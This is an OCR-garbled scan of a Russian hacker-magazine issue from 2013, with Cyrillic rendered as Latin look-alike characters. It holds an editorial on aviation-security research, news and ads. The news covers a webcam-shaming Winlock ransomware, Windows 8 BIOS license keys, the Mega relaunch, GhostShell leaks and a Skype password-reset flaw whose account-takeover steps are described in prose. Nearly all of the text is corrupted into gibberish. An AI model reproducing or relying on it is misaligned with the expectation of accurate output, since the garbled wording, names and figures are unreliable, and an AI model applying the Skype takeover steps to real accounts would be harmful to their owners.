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OMACHOCTM HOBOW 3M0OXM

«Cxopnnocnywan, bypelwb 60aTbCca neTaTb», — cka3al MHe OWH
n3opraHnsatopos ZeroNights, HanpaBnsas Ha foknagn AHpnpes
KocTuHa o be3onacHocT aBMaLMOHHbIX TeXHooruit. McnyraTbes s,
KOHEYHO, He Mcryrancs, Ho elle pa3ybeanncs: Mol NepexoanM B co-
BEPLUEHHO JpYryt 3MoXy, KOrAa ys3BUMOCTU MOTYT CTOUTb YesloBeye-
cKUXn3Hen. CnyduHr Ha MOHWTOP aBMaANCNeTYepa, FeHepupyLnii
belikoBble CUrHabl 0T HECYLLLECTBYIOLLMX CAMOJIETOB, yAaNIeHHOe
ynpas/ieHne KapANoCcTUMysTopaMu, nepenonHeHne bypepa
BOOpPTOBOM KOMMblOTEpe aBTOMOOMNS, — 06 3TOM paHbLie daHTa-
31pOBaV M MMCanM B KHUrax (Kak rocTb Hawero nHTepebio — Mapk
PyccuHOBWY), aTemepb paccKasbiBaloT UCCIEL0BATENN HA PA3INYHBIX
KOHPepeHUUsx. Hukakux tebe cTpalLnIOK U NpeyBenuyeHnii. Tonbko
baKTbl: eCTb TEXHONOrNA — 1 OHa ysA3BMMa. IHOI ckaxeT, 4To nof06-
Hble UCCe0BaHMs ONacHbl, HO Kak eLLe NpUBIeYb K HUM BHUMaHWe
13acTaBUTb Nt0fiel, 0OTBETCTBEHHbIX 33 Pa3paboTKy Taknx TexHo0-
TUIA, NCNpaBuTb CBOV onloLWHocTM? [laneko 3a npuMepoM Xo4uTb He
Hapo:bnarofaps pabote AHpes MexayHapoaHas opraHu3aLus rpax-
[aHCKOM aBnauum cospana pabouyto rpynny no knbepbesonacHocTy.

CtenaH «Step» UnbuH,
rnaspep X
twitter.com/stepah
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DVD
Boinyckatowmii pepakTop AnToH «ant» XKykos (ant(@real.xakep.ru)
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MEGANEWS

' MOZILLANPEKPATUJIAPA3PABOTKY
Firefox 64 bit pnaWindows.
64-paspsapHble cbopkyn oTKaATAT

Ha 32-pa3psafHylo Bepcuio.

TPOAHTIYTAET
[TOJIb30BATEJIEN
CHUMKAMW C BEB-KAMEP

NCUXOJIOrMYECKUE TPIOKU HA CJTY)KBE XAKEPOB

BUHJIOKEepaM Bcex MacTel nybnvka yxe ycnena npuBbIKHYTb.
m O4eBWAHO, YTO CTaHAAPTHbIE [i/151 TAKOTO POAa ManBapy Henpu-

CTOMHbIE KAPTUHKM, Yrpo3bl CAATh N0Jb30BATENS NOAULMM U Aipyrie
YXWLLpeHs nepecTanu paboTaTh Tak XopoLLIO, Kak paHbLue. Ho Bupyconuca-
TeIW BCeria CyMeloT NpuayMaTh YTO-TO HOBEHbBKOE.

HepnasHo komnaHus Dr.Web onybnukosana uidopmaumio o Trojan.
Gapz.1 nog Windows 32/64 bit, KoTopbiit 0TNIMYAET BBICOKMIA ypOBEHb pa3-
paboTKu, CNOXKHOCTL W NoAfepXKa nnaruHos. Cam no cebe BpejoHOC BECbMa
MHTEpeCeH, Ho Ceityac peyb He 0 HeM, Be/ib OfWH 113 ero Moayneii NpocTo
npeKpaceH B CBOEN NPOCTOTe 1 reHManbHOCTH. Ha nepBbIi B3rnsg aTo
00bIYHbIN BUHAOKEP, Nony4mBLUMiA UMs Trojan.Winlock.7384. OH nposepsieT
no IP-agpecy MeCToHaxoxeH1e KOMMbIOTepa XePTBbI, eC/W 3T0 3anagHas
Espona vnu Amepwka, 61oK1pyeT cucteMy v BbIBOAUT OKHO C TpeboBaHm-
eM nepeBecTy ONpefieNleHHyo CyMMy Ha yKa3aHHbI cyeT. Bee bbl HUYero,

HO BMeCTe C 3T1M BI0KMPOBLUMK NepexBaTbiBaeT M300paXeHwe C NoAKI0-
4YeHHO K 3apaXxeHHOMy KOMMbloTepy BeG-Kamepbl (ecnv Takosas uMeeTcs)

1 BbIBOZMT «MOPTPET» N01b30BaTeNs B NPaBOM BEPXHEM yrily okHa. Huxe
cnefyeT LOBOSIbHO CTAHAAPTHbIN TEKCT, Fe N0/Ib30BaTet0 rpo3siT NpaBo-
0XPaHUTeNbHbLIMW OpraHaMu, COObLLAIOT, 4TO OH HapYLLWA BCE, YTO MOT, BCE
ero fleficTBUS 3aN1CbIBAOTCS, @ ero UL ByAeT NCnob30BaHo A8 nepefayu
[JaHHbIX B MONLIMIO, CIV OH He 3anaTuT yKasaHHylo cymMy. PabotaeT npocto
OT/INYHO — MOJI30BATENM NyratoTes :).

<]
® o
. T'yMaHHble xakepbl
TG LA R TN L

TpebyloT cocBOMX
xepTB 100 eBpounu
150 gonnapoe CLUA,
anocne nepeyunc-
NeHUs CYMMbl faxe
BCaMoM piene pas6no-
KUpYHTKOMNbIOTEP.
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WINDOWS 8 TAKTIPOCTO
HE BbITPABULLbB

HAKNENKMW C CEPUAHBIM HOMEPOM—MPOLLIbIA BEK

ayannchb NPoOJaXM yCTPONCTB C NPefyCTaHOBEHHO
m Windows 8, n «c nonei» ctanu npuxoauTh Co0BLLEHNS 0 TOM,

4TO OTHOBOM OMEpaLMOHKM Tak NpocTo He n3basuwbes. Bna-
LeNbLbl HOYyTOYKOB 0OHaPYXMAM, YTO NTULLEH3UOHHbBIA K04, KOTOPbIA
Tenepb npowusaeTcs npsimo B BIOS HoyTbyka, MoxeT cTaTh MCTOY-
HUKOM HekoTopbIX NpobneM. Kak Bcerfa, npuaymMany aTo peleHne
AnsynobcTeanonb3oBaTenei. YTobbl He HYXKHO BbINO UCKATL Ha AHNLLe
MW B aKKYMYNATOPHOM 0TCeKe yCTPONCTBA CTHUKEP C IMLLEH3UOHHbBIM
KJ11040M, KaK 370 6bin0 paHblie. OAHaKO Tenepb BO3HUKAET 3aKo-
HOMEpHbI BOMPOC: a YTo, eC/Iv 3axoyeTcs caenatbanrpeng? Auto,
ecnu, uMes ycTpoicTao c basosoii Bepcueit Windows 8, nonb3oBatesnb
npuobpetet anck c Windows 8 Pro? Beab npuycTaHoBKe C3TOro UCKa
CUCTeMaaBTOMAaTUYECKU MCMONb3YeT IMLEH3MOHHbIA KoY, NPOLLIK-
Thii B BIOS. Butore bynetyctaHoBneHa obbiyHas Bepcus Windows 8,
aHukak He Windows 8 Pro.

Kpome Toro, ecTb eLle ofjHa 04eBUAHAs 3arBO3AKa: €CN N0Nb30Ba-
Teso HY)XXHO Y3HaTb €ro IMLLEH3NOHHbIN KITI0Y, TPUAETCS 1e3Th B peecTp
WAV NONb30BaTbCS CMeLMann3npoBaHHbIMU MPOrpaMMaMi Bpoge
Magical Jelly Bean Keyfinder, koTopasi onpefensercs HeKOTopbIMU
aHTuBMpycamm kak PSWTool.Win32.RAS.a. 06bI4HbIX, HENPOABUHY ThIX
l03epOoB XKallb.

BPOCCUUC1AEKABPS
2013r01A Bce Xe nosiBUTCSA
BO3MOXXHOCTb COXpaHEeHUs
HoMepaTene¢poHanpucMeHe
coToBOroonepartopa.

NMPOAAXUWINDOWS 8 CTAP-
TOBAJINBOPO—3anepBble
yeTbipe AHA 6bino peanusoBa-
Ho Gonee yeTbipex MUNIIMOHOB
konun.Y 0S X 10.8, ansa cpas-
HeHus, 3aToTXe nepuop bbino
TPUMUANIMOHA.

SAMSUNGHAKOHELLHAYHET
NMPOU3BOACTBO FTMBKUX
AUCNJEEBFLEXIBLEOLED
BnepBoiinonosuHe 2013 roaa,
coobwaerWall Street Journal,
CCbINasch Ha CBOU UCTOYHMKM.

3AKPBITbIW BUIONE
DEMONOID HEOXKUAHHO
CTANNOAABATb MPU3HA-
KUXXU3HU. XoTa noMeHbI
Demonoid 66111 NnpoAaHbl,
apecypc3akpbIT, TpeKep 0Xun
ncrabunbHo paboTaert.

FEHEPAJIbHbIA AUPEK-
TOPINTELMonOtennuuum,
BO3rNaB/ABLINA KOMNAHUIO
c2005ropa, NOKUHYN CBOIA
noct,aBMecTe cHUM Intel,
npopaboTaBTaMnoYTh COPOK
nert.

XAKEP 01/168/2013
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MEGANEWS

CAMbIMMPOAABAEMbIM CMAPT®OHOM BTpeTbeM kBapTane 2012 roaa, no aaHHbIM Strategy Analytics, ctan Samsung Galaxy S1lIl.

KM OOTKOM HE CLAAETCH

BOJIbLUME NJIAHBI ONAJIBHOI0 CO3AATENII MEGAUPLOAD

0Tsl MEY aMepUKaAHCKOro NpaBoCyAUs NO-MNpPexXHeMy 3aHe-

ceH Hap, KumoM [loTKOMOM, 3T0, NOX0Xe, BOSTHYET ero Jafeko

He B nepByto o4epefb. Ha BCAKMI ciyyait HanoMH1o, YTo co3faTens
Megaupload o4eHb xoTAT BUAETH B LLITaTax, rae eMy HKpUMUHWPYIOT Bbi-
MOraTefibCTBO, 0TMbIBaHME IeHer 1 MaccoBble HapyLLEeHUst aBTOPCKUX NpaB.
AMepuKa [0 cvx nop A0bKBaeTCs ero IKCTpaANLIMK, HO NoKa bepesynbTaT-
HO— KuM rynsieT Ha cBobofie 1 CTPOUT rpaHANO3HbIE NaHbl.

0ToM, 4to Megaupload byaeT Bo3poxaeH, KM Hauyan HamekaTb npak-
TUYeCKM Ccpasy nocsie BbIX0Aa Nof, 3a10r 3MMOM NpoLusoro roga. HepasHo
CTaso U3BECTHO, YTO 3aMyCK BO3POXAEHHOrO GaitnoobMeHHNKa Ha3HaueH
Ha 19 aHBaps 2013 roga, v lotkoM B MHTepBbio u3gaxwuio Wired nogenwvncs
HEeKOTOPbIMM NOAPOBHOCTAMM 0 NpoekTe. 13BECTHO, YTO CTapbIA-HOBbIN
baiinoobMeHHMK cTpouTCs € y4eToM owmnbok npotunoro. Tak, Bcst nHdop-
Mauus Ha HoBoM Megaupload (a Tenepb npocto Mega) 6yaet xpaHuThes 8 3a-
wudposaHHoM Buae. Mepep, 3akaykoit Ha caliT Bce dainbl bynyT obpaba-
TblBaTbCA anroputMoM AES, 1 nonb3oBaTenu noayyat yHuKanbHbIe KIoym
I15 NX pacLundpoBKi. Kak pacnopsianTbes KNOYOM — peLuaTb CaMoMy
{03epy, MOXHO 1 0ny6IMKOBaTb €ro B OTKPbITOM AOCTYME, @ MOXHO CrpsiTaTh
nofanstue. Takum 0bpa3oM, HY NpoBaiiaep, HU coTpyaHWUKK Mega He bynyT
3HaTb, KTO ¥ Kaku1e daisibl XpaHUT Ha XOCTUHTe.

EcnunpaBoobnagateny cyMeloT HalTV YHUKaNbHbI K04 U 0Ka3aTb,
4TO 3aLUNPOBAHHBIN UM Paiin COREPIKUT HeneranbHblil KOHTEHT, TO aAMM-
HUCTpauys Mega, KoHeuHo, yaanut 3ToT daiin. OfHaKo u3-3a LWndpoBaHNs
He byeT HUKaKOM BO3MOXHOCTU YHUHTOXUTb BCE IK3eMNNsipbl aiina
ofHWM MaxoM. Ecnv daiin 3arpysaT cTo pas, 3almdpoBaB COTHeN pa3Hblx
KNtouen, npaBoobnafaTensM NpuAeTcs pas3bmpaTbes ¢ KaKAbIM OTAENBHO.

Ha cnyyait apecTa n u3bsaTus cepeepoB [loTKOM HaMepeH 3akn4nTb
[,0roBOPbI C HECKObKMMI XOCTUHI-NPOBaiepaMn Ha pa3HblX KOHTUHEH-
Tax, a TakXe NNaHupyeT UCMob30BaTb pacnpefeneHHoe XpaHeH!e AaHHbIX
Ha KoMMbloTepax caMux nonb3oBateneil. B Teopuu k pacnpefenerHoi cetn
XpaHeHns Mega cMoxeT NofKMo4nTbCS Sitoboi xocT. [loTKoM nocTasun
nepeg, coboif Lieslb— co34aTb He MPOCTO LeHTPaNn30BaHHbI Beb-cepBsuc,
HO LieNyto CeTb U3 ThICSY HE3ABNCUMBIX Y3710B, KaXKAbl U3 KOTOpbIX byaeT
XpaHWTb YacTb daiinos Mega. B ntore caifT osKeH cTaTh INLLb GacafoMm
[ 3TOM ceTU. KM roBopwT, 4TO €ro opucThl OTANYHO nopaboTanu 1 noa-
KonaTbCst K Bo3poayBLueMycs GaitnoobMeHHUKy OyAeT KpaiiHe TpyaHO.

OH LLaxe He coBceM «3abbln» 06 MHTepecax npaBoobnagatenei, noobewas,
4TO KUHOCTYLMW W 3BYKO3aNMCbIBalOLLME KOMMAHWM CMOTYT yaansTs Gainbl
10 YNpoLLeHHO NpoLefype, HO TONIbKO eC/N MOAMMLLYT LOrOBOP, rapaHTu-
PYIOLLMIA OTKA3 OT NPETEH3MUI K CaMOMY CEPBUCY.

Mega yxe 063aBencs afpecoM, NpaBAa Noka HEMOHATHO, NOCTOSHHbIN
N1 OH: mega.co.nz. [ToyeMy Takom CTpaHHbI floMeH? [leno B ToM, 4To uc-
XO[\HO MpeAnonaranoch 3anyckaTb NPOEKT Ha KpackBOM afpece me.ga,
pacrnonoXeHHOM B HallMoHanbHo 3oHe Maboxa. OgHako Bnactv [aboHa
He noxenanu UMeThb ¢ [loTKOMOM W MMPaTCTBOM HI4Yero obLLero u oT rpexa
noganblue oTobpanu foMeH me.gay Bnafenblia. NapannenbHo co Bcem
BbILLEONMUCaHHbIM [loTKOM 06bABU 0 BO3POXKAEHNY eLLLe OfHOr0 aMbuLm-
03Horo npoekta— Maructpanv Pacific Fibre, koTopas gomxHa coejuHuTL
Hosyto 3enanguto v CLLA no gHy Tuxoro okeaHa! [poekT ctouMocTbio 400
MUNNOHOB [011apoB byfeT 4acTUYHO GUHAHCMPOBATLCS KOMMNaHWeN
Mega, a 4acTYHO — CTOPOHHMMU MHBECTOPaMU.

AWPEKTOP NOUCCNIEAOBAHUAM UPA3BUTUIO MICROSOFT 3AAIBUJI:

HbIPAB SKYPE

AABHOYIOHYY)XXOr0 AKKAYHTAHE BbIJITAKJIEFOK

0BOJIbHO Fynast bpeLub 0bHapyxunach B 6e3- 4]
onacHocTtn Skype. CTOPOHHNKM Teopnu «C KcTath, B Ckopom
Tex nop kak Microsoft kynuna Skype, oH yxe %’:Lﬂm
He TOPT» NINKYIOT. YA3BMMOCTb KPbINach laXe He B CaMo cobupaetcs
nporpamme, NofBen... CEpBUC BOCCTAHOBIEHUS Naponeil. OTWPadThCﬂ
oTWindows
Bar 6bi1 HacToNbKo 6aHaneH 1 NPUMUTUBEH, YTO MHOTVe Live Messenger
He cpasy NoBepuIv B ero peanbHocTb. CxeMa npocTa: pe- (MSN)uBo3no-
TUCTPUPYEM HOBbIN aKKayHT, yKa3biBaeM J1l0bol naposb KWUTb er0 QyHK-
Pypy YHT.Y pore, uunHa Skype.

HO B KayecTBe e-mail —apapec xepTsbl.

3aTeM 3anyckaeM npoLieaypy BOCCTaHOBMEHNS
3abbIToro napons Ha caiite Skype, cHoBa yka3sas e-mail
XXepTBbl, NpefBapuTenbHo yaanue cookies. [Mocne
3TUX MaHUNYNALMI B KIUEHT Skype NpUXoanT Mapkep
napons. OcTanock BCero ULLb yKasaTb 3TOT MapKep
Ha caitTe Skype, BbI6paTh U3 NpeNIoXKeHHbIX aKKayHTOB,
NPWBS3aHHbIX K 3TOMY e-mail, akKayHT XepTBbl, 33T
BNPoduIb M CMEHNTL Naposib. [Tocse Toro Kak AaHHas
VHCTPYKLMS NOSIBUAACH Ha Xakepckux Gpopymax, a BCKope
HOBOCTb OKOHYaTENbHO pacTupaxuposann CMU, Banomy
NoABEepriNCh HEMa0o akKayHTOB.

BripoyeMm, npepctaButeny Skype yBepsitoT, 4To oKa-
331 NOAAEPXKY HeOOIbLLIOMY YUCNY NoNb30BaTeNEl,
KOTOPbI€ «CTONIKHYNIUCh C HeyfobcTBaMn». Camy GyHKLI0
cbpoca naposiei cHayana oTKNlYMAM BoBCe (rae-To ve-
pe3 CyTKM NocJie pacnpocTpaHeHus nHdopmaumu o bare),
anoToM cneLmanuctel Skype 3asBunu, 4To 06HoBUAN
npouecc cbpoca napons.

Tenepb BpeMeHHbIN KOf, 0NsiTb N0 CTapUHKeE NpUChINa-
10T Ha e-mail. MHorve 3a4atoTCs BONPOCOM, a CTOUN0 N
BOODLLE NbITaTbCA MOAEPHN3MPOBATL CEPBIC BOCCTA-
HOBJIEHWS NapOel, NPUAYMbIBATb 3TV CaMble MapKepbl
Y NA0ANTb CYLHOCTN?

BOBCEXBEAAX MICROSOFT3ANOCNEAHUE AECATD
NNET BUHOBATA KUBEPNPECTYMHOCTb, KOTOPAA
BbiIBPAJIAMS CBOEUTNIABHOU MULLEHDLIO
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EXHEMECAYHBII ABTOMOBU/IbHBIN MY PHAJT

onn

« KO TECTH
07 auto motor und sport

- TEXHHYECHaA SHCNepTH3a
[ IRGTPYMEHTAoHoINH SaNEDaNH

= HHTEPBLH C BEAYLLIHMH
SHCIB[TAMH ABTOHALYCTOHM

« (GO MbTa HCIbITAHHH MPOTOTHNOB
BE3T CARS
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Porsche 311 vs Jaguar XKR
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HOHKYPG JIYHLLUHE ABTOMOBHAH
BJIHAH HA PE3YJIbTAT

OH-JIAH FOJTOCOBAHUE
[NA NOJb30BATEJIEA COLIMASIbHBIX CETEN

BEST CARS
2013

B Bhb0PY

C/IEQN 3A HAMU B COLUIMAJIbHBIX CETAX

ﬁ https://www.facebook.com/zhurnalforsazh




MEGANEWS

HA40% BbIPOC BITTORRENT TPA®UK 3a nocnepHue nonroaa, Ho ons P2P-tpaduka B 06LieM o6beMe, HanpoTus, cCHUXKaeTcs, coobluaet Sandvine.

[TATPNOTUYHBIE XAKEPDI
[MTPOTNB POCCNI

XAKEPbI-NMATPUOTbI 3AYEM-TO ATAKOBAJIMABTOCEPBUC UANTEKY

cepeAvHe MecsiLia Halua v 3apybexHasi npecca c na-

pocoM coobLLMIY, YTO aMepUKAHCKME XaKepbl-Na-

TpuoTkl U3 rpynnel GhostShell HamepeHbl pa3sa3aTth
knbepsoiiHy npoTns Poccum, a TouHee, NpoTUB ee NpaBuTeNb-
cTBa. JlloboMy noHuMaloLLLeMy YenoBeKy AOKHO bblNo cTaTb
CMELLHO yXe Ha 3TOM 3Tarne, 0f{Hako He BCE XOPOLLO NpefCcTaB-
NS0T cebe MUPOBYIO XaK-CLLeHY 1 4YTO B ee paMKax HOpMarbHo,
a4To He 0YeHb.

Her, xak-Tuma GhostShell npaspa cyuwjectsyeT v npaBpa
6pocuna Bbi30B BacTaM PO yepes Pastebin (pastebin.com/
yXN7ucér), o6bsiBuB o cTapTe onepauyuu ProjectBlackStar.

B 3asBneHnm xakepbl N3061MYal0T poccuiickoe npaBuTesNb-
CTBO, 13-3a KOTOPOTO HAaceseHNe CTPaHbl BbIHYXAEHO XUTb
130/IMPOBAHHO OT 0CTaIbHOrO MUPA, OLLYLLLAs KOMMYHUCTN-
YeCKUW ByX, CMeLaHHbI C KanuTannu3MoM, a camMo npasu-
TE/IbCTBO MOTPS3J10 B KOPPYMLMUW, HO MPY 3TOM TPATUT A€HbI U
Ha LWMMOHaX B 3anafHbix cTpaHax. B aokasatenbcTBo xakepbl
[aXe CoBepLUMAN pAf, B3SIOMOB, HO MOYeMy-To NOCTPaAano

OT HWX COBCEM He NMPaBUTEe/bCTBO, @ Manblil U cpefiHMii brusHec.
MepTBaMu cTanu aBTocepBUC, anTeka, canT «BakaHcum u pe-
3toMe VkeBCKa», a Takxke JecsTKM fpyrux obpasoBaTesibHbIX,
(bVHaHCOBbIX, TPAHCMOPTHBIX M MPOYMX opraHu3aLuii. U ewwe
nonuuns. Akobbl. Ckopee BCcero kakme-To WKOAbHNKM HaLLW
calTbl ¢ gbipsiBoit CMS 1 oTopBanuch no nofHoM.

[lBacnonoBuHoIA
MUNNUOHA 3anucei
NOXUTUAYU XaKepbl
Bo6Lelt CNOXHOCTH.
BoCHOBHOM3TOKY4a
e-mail-agpecos.
BonblweBcero
pocTanoch cantam
corp-gov.ru (64885
e-mail) urabota-
izhevsk.info (66520
e-mail).Cpeguno-
XML EHHbIX fAHHbIX
TaKXe BCTpeyaloTcs
napbllogin-password
AN HEKOTOPbIX
caiiToB, HO UXKpalHe
Mano.

HAPBIHKE NMOSIBUJICA ELLLE
OAAUH 3D-NPUHTEP «ANA
[OMA>», KakoBbIX B Npofaxe
noka HeMHoro. HoBUHKY Bbl-
nyctuna koMnavus Solidoodle,
[neBaiic noNy4yn Ha3BaHue
Solidoodle 3. YcTpoicTBo npea-
cTaBnseT co6oii Ky6 co cTopoHoi
20,3 cM (MoXHO c03aBaTh 06b-
eKTbl pasMepamm o 20 x 20 x
20 cMm). B KayecTBe pacXxofHOro
MaTepuana ans «nevaTus uc-
nonb3yeTcs NIacTUKOBas HUTb
1,75 MM. LleHa HOBUHKNM — 799
[ONNapoB.

HETWHTEPHETA,
HET N MblLUKW

ECQIMTADKETbIBYAYTPABOTATb TOJIbKO
NPUNOAKNIOYEHUUKCETHU

0Xasyi, TONbKO JIEHWBbIN elLle He bpocun KaMeHb

B Oropof pa3nnyHbix DRM-cucteM 3alwimtbl KoHTEH-

Ta. HenpusitHo, Koraa n3-3anpobnemy nposangepa
WM NIOXOT0 Ka4eCcTBa CBA3M Henb3s, K NpuMepy, nourpats
B YECTHO KyMJeHHyIo Urpy. KTo bkl MOT nogyMaTs, 4To NofobHble
npobaeMbl HAYHYT BO3HUKATb C Xene3oM... ictopus ofHoro to3e-
pa c Overclock.net Hennoxo cMoTpenach bkl B komeauu abeypaa.
PaccTpoeHHbiii napeHb noBeaan o ToM, 4To HeaaBHo Nprobpen
Hepewesyto (80 gonnapos) Mbiwky Razer Naga 2012, koTopyio
He CyMen aKTMBMPOBaTb.

Oxkasanocs, 4to 10 Razer Synapse 2.0 TpebyeT nogknoueHus
K CepBepy akTUBaLK, a eCIM TOT He paboTaeT Uany nosib3oBaTens
HeT noaktoyeHus k Cetu, To 10 yctaHoBWTL He nosyunTtes. Ctont
NoACHUTB, 4To 6e3 aaHHoro 10 geBaic pakTNHeCKN TepAeT CBOI
NPUBNEKaTeNbHOCTb, NpeBpaLlasich B 0bbluHyto plug-and-play
MblLLb. AKTUBKPOBATH MblLLb befjonara He CMor, Tak Kak cepsep
akTuBaumu Razerywen B odnaiH n3-3a TeXHUYeCKUX Npobnem.
CannopTToXe He CMOT MOMOYb, COOBLLMB, YTO aNlbTEPHATUBHOIO
cnocoba akTBaLWM HET.
Bckope nocnefosan opuumanbHbiil KOMMEHTapuii 0T 0AHOTO

13 pa3paborunkos Razer, roe coobuyanocs, Yto Synapse gen-
CTBUTESIbHO XPaHUT HACTPOWKM Ha CEpPBEPE, HO UCKITIOYNTEBHO
B0 671aro — B LieN1s1X 3KOHOMUM NaMSTV BHYTPY MbILLIY U CHUXKe-
HUSI LieH Ha ycTpoicTaa. Takxxe Nof4epK1Banock, YTo Synapse
2.0—>3T0 coBceM He DRM. BnipoueM, paspabotunk noaTeepau,
4T0 Synapse MoxeT paboTaTb B opaiiHe TONIbKO NOC/E NPOXOXAe-
HUSI OHNAIHOBOW perncTpaLmm.

JKC-MJIABATIATEHTHOronoa-
PA3ENIEHUAl GOOGLE Muwens

ABAWIUYETLIPE AAPA
B CMAPT®OHE? Ckopo u 3TOr0

JIn Bo3rnaBuT punman nateHT-
Horo 6topo CLLIA B KpeMHueBoi
L[ONUHe.

6ynet Mano. Mo aaHHbIM EE Times,
Samsung roToBUT K POM3BOACTBY
BOCbMUSIAEPHYI0 OAHOKPUCTANb-
Hylo cuctemy!
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MEGANEWS

PEKOPAMPOAAXYCTAHOBJIEHHATAOBAO.COM—3,06 Munnuappa ponnapos3aofuH feHb! Kynatam 3anapy c «4epHoi NATHULEN».

CTVMBEH CVIHODCKI
[TOKNHYJTMICROSOF T

KOMMNAHUIO OCTABUJIOAWH U3 BETEPAHOB

POMKOW OTCTaBKOM 03HaMeHOBasCs

koHel, 2012 roga: komnanuio Microsoft

nocne ABaaLaTu Tpex et paboTel
NOKWHYN 0auH 13 BeTepaHoB — CTuBeH CuHo -
cku. Ha npoTtsxxeHnmn nocnefHux net CuHodcku
oTBeyan 3a paspaboTky v mapkeTunr Windows,
Windows Live 1 Internet Explorer. ViMmeHHo emy
Mbl 06513aHbl cTabunbHon Windows 7, uMeHHO nog,
ero wedcTBoM npoxoguna paspaborka Windows 8
nnnaHwerta Surface. TeM yanBnuTenbHee Boirnsae-
no yBonbHeHne CHodCKM, CyymnBLIEECS COBCEM
ckopo nocse Boixoga Windows 8, nenay kotopow
MOLLN AaNeKO He Tak MJoxo, Kak npeapekany
MHOTVe 3710MblXaTenu.

HenocpepnctserHo nepef yxogom Ctuse Cu-
HOpCKM Hanmcan n1cbMo, obpalleHHoe K COTPYAHM-
KaM Microsoft, ojHako TaM H4ero He roBopuIoChH
0 MPUYMHaX ero yBoNibHeHUs. TeM BpeMeHeM MHorve
VCTOYHWKM yTBEPXAAN, 4TO MPUYUHON NOCYXWI
KOHQIMKT ObIBLLETO PYKOBOAUTENS MOfPa3fene-
Hus Windows niuHo ¢ rnasoit komnanun CTuesom
Bannmepom v MHOrMMU ipyruMn YneHaMmu coBeTa
onpekTopoB. Akobbl CUHOGCKM 0TAMYancs uckto-
UUTENbHOM KOHONUKTHOCTBIO U HECTOBOPYMBOCTbIO,
B pe3ynibTaTe Yero Tak v He CyMesl CTaTb YacTbio
KoMaHfbl. [TpakTn4eckn «oTBeTHOE» 0dULManbHoe
nucbMo Hanncan u cam Ctus Bannmep, pasymeetcs
OMpPOBEPrHYB 3TV CATYXW U 3aBUB, 4TO «paccTaBa-
HU1e NpOLUIO Ha fipyXecKoii HoTe». [loBepuTb B 3T0
6e30roBOpPOYHO CIOXHO: B TOM e nucbMe Bannmep
HEerMpo3payHo HaMeKaeT, YTo Tenepb Nofpasaene-
Hve Windows Bo3rnasut [xynu JlapcoH-TpuH (ko-
Topasi 3aHMManachk paspabotkoit IDE gns Visual C++,
8 1997 rogy Bo3rnasuna komaHgy FrontPage), nyx
0OHa-To 0bnajfaeT 3aMeyaTebHbIMU CMOCOBHOCTAMMY
K KOMaHZHo urpe. lMoyeMy-To Tak 1 Xo4eTCs [o-
6aBuTb «B OTANYMeE OT...». KcTaTu, rnaBy nogpasze-
NeHusi Tenepb byneT ABa, GYHAHCOBLIM UPEKTOPOM
Ha3Ha4YWIU elle OfHY XeHLWmHY — Tamu Pennep.

PasymeeTcs, Mbl HUKoraa He y3HaeM BCel
npasAbl 06 3TOM FPOMKOM yBOJIbHEHUW, HO He-
KoTopas NuLLa ANs pa3MblLUEHNI 3eCb BCe Xe
ecTb. [Moka ofHu yTBEPXAAIOT, 4To CUHOCKM XOTeN
nosy4uTh bosbLLIe BNACTV Haf onpeaeneHHbIMY
noppaspenennsamu Microsoft u npaktuyeckm no-
CTaBWN yNbTUMATYM Ha4yabCTBY, ApYrue roBopsT,
4TO OH, HaNPOTMB, «BOEBAS» CO BCEMW, KTO He 0T-

Hocuncs K nogpa3genenuto Windows, 1 bykeansHo
caboTupoBan B3anMoLeNCTBIE MEXAY Pa3HbIMM
nofpasgenernsimMu. 3tv Teopum CUHOGCKM yxe no-
CreLuna oNpoBepPrHyTh JINYHO, HO BCE elLle 0CTaeTcs
ofiMH HebonbLo HioaHc. CornacHo MHOXeCTBY
MHCaNLepCKUX NcTouHukos, CuHobCkm fei-
CTBUTENbHO HeLoM100IMBa HEKOTOPbIE MPOEKThI
Microsoft u jaxe npoT1BOAENCTBOBAN UM, ECIN
BuAen B HUx yrpo3y ans Windows. B yactHocty,
MIMEHHO OH [10 MOCNIeIHero cTapasncs noMeLlaTb
KOMMNaHMU HakNenaThb ThiCAYM OTBPATUTENbHbIX
nnaHweToB Ha Windows 7. la, yxe Toraa bbino

MOYEMY THUNDERBOLT «HE B3JIETAET», NOACYUTAJI DIGITIMES

CtuBeH CuHodcku
CYUTANCA ORHUM
u3Hanbonee BeposT-
HbIXNPETEeHAEHTOB
HaKpecno HbIHeLWHero
CEOkopnopauuu Ctu-
Babannmepa, ogHako
BCEBbILLO UHaYe.

ICHO, 4TO Be3 NNaHLWeTOB Ha pbiHKe AeNnaTh HeYero,
1 B Windows 8 nosiBunach nognepxKa CeHCopHbIX
9KPaHOB M MHOTUe Apyrue GyHKLWUK, HeobXoam-
Mble A5 MoBuAbHbIX ycTpoicTB. OfHako v Toraa
CuHOdCKM, K NPUMEPY, 04EHb KPUTUKOBA U OCYXK-
nan pelerwe ybpatb «[lyck» c paboyero cTona,
KoTOpOeE pyraloT ceityac npakTuyecku sce. CoBoM,
NOX0Xe, YTO «KOHPIMKTHOCTb» OblBLLErO FNaBbl
nogpasgenenuns Windows 3a4acTyto bbina He YeM
MHBIM, Kak rof10COM pa3yMa, KOTopbIi, YBbl, CUTIbHO
IVICCOHMPOBA C BbIBpaHHbIM KOMMaHWe BEKTOPOM
¥ MHEHWeM COBeTa IVPEKTOPOB.

CEMYAC KOHTPOJUIEP THUNDERBOLT CTOUT
NMPUMEPHO 20 10JIJIAPOB, B TO BPEMA
KAKUSB 3.0—0,5-

0,8 AOJUJIAPA.

HEYAUBUTEJIbHO, YTO CMPOCA HET
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Ayx nHHoBauwii « MyTb K COBEPLUEHCTBY

Windows RT

VivoTab RT paboTaert nog ynpasaeHnem onepaLyioHHON CUCTEMbI
Windows 8, cneLmanbHo pa3paboTaHHOM 411 MOBUbHbIX YCTPOMCTB.
37O 3HAYWT, UTO MHTEPPENC ajanTNPOBaH AN CEHCOPHbIX IKPaHOB,

a NPUIOXEHN: NOAAEPXKMBAIOT BCE COBPEMEHHbIE TEXHONIOTUU, BKHO-
yas reosIoKaLMto, MHTErpaLuio ¢ 061a4HbIMM U COLMAaNbHLIMU CEpBUCa-
MU 1 MHOTO€ Apyroe.

m

=

dannbl B 0bnake

Hosas Windows RT usHauanbHO
WHTErpypoBaHa c 06s1a4yHbIM CepBu-
com SkyDrive, 6aarogaps kotopomy
no/b30BaTeNb CMOXET NIerko nepe-
HOCWUTb HaCTPOMKU W INYHYHO UHOP-
MaLWio MEXAY BCEMU KOMTbloTEpa-
MU nog ynpasnennem Windows 8.
[Jns xpaHeHus 6obLUVX 06bEMOB
AaHHbIX Ha TPY roja NpejocTaBAs-
